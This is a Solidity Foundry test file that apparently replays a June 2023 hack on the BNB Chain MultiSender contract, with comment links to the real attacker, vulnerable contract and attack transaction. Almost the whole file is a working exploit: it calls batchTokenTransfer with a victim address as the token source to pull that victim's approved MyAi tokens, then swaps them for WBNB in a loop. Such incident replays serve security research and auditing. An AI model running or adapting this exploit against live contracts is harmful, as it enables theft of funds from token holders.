src/test/2023-06/MyAi_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~10 $BNB
5// Attacker : https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d12
6// Attack Contract : https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b3
7// Vulnerable Contract : https://bscscan.com/address/0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101
8// Attack Tx : https://bscscan.com/tx/0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6
9 
10import "forge-std/Test.sol";
11import "./../interface.sol";
12 
13interface IMultiSender {
14    function batchTokenTransfer(
15        address _from,
16        address[] memory _address,
17        uint256[] memory _amounts,
18        address token,
19        uint256 totalAmount,
20        bool isToken
21    ) external payable;
22}
23 
24contract ContractTest is Test {
25    IERC20 MyAi = IERC20(0x40d1E011669c0dc7Dc7c7Fb93E623d6A661Df5Ee);
26    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
27    IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
28    IMultiSender MultiSender = IMultiSender(0xDb103fd28Ca4B18115F5Ce908baaeed7E0f1f101);
29    address Victim = 0x003B724f9e1fa7350A7723BB8313ACBDbE7188CB;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", 29_554_344 - 1);
33        vm.label(address(WBNB), "WBNB");
34        vm.label(address(MyAi), "MyAi");
35        vm.label(address(MultiSender), "MultiSender");
36    }
37 
38    function testExploit() public {
39        emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
40        MyAi.approve(address(PancakeRouter), type(uint256).max);
41        MyAi.approve(address(MultiSender), type(uint256).max);
42 
43        address[] memory Attack = new address[](100);
44        for (uint256 i = 0; i < Attack.length; i++) {
45            Attack[i] = address(this);
46        }
47        uint256[] memory Token = new uint256[](100);
48        for (uint256 i = 0; i < Attack.length; i++) {
49            Token[i] = 999_999_999_999_400;
50        }
51 
52        MultiSender.batchTokenTransfer{value: 1 ether}(
53            Victim, Attack, Token, address(MyAi), 999_999_999_999_400 * 100, true
54        );
55        for (uint256 i = 0; i < 100; i++) {
56            TOKENToWBNB();
57        }
58        emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
59    }
60 
61    function TOKENToWBNB() internal {
62        address[] memory path = new address[](2);
63        path[0] = address(MyAi);
64        path[1] = address(WBNB);
65        PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
66            999_999_999_999_400, 0, path, address(this), block.timestamp
67        );
68    }
69 
70    fallback() external payable {}
71    receive() external payable {}
72}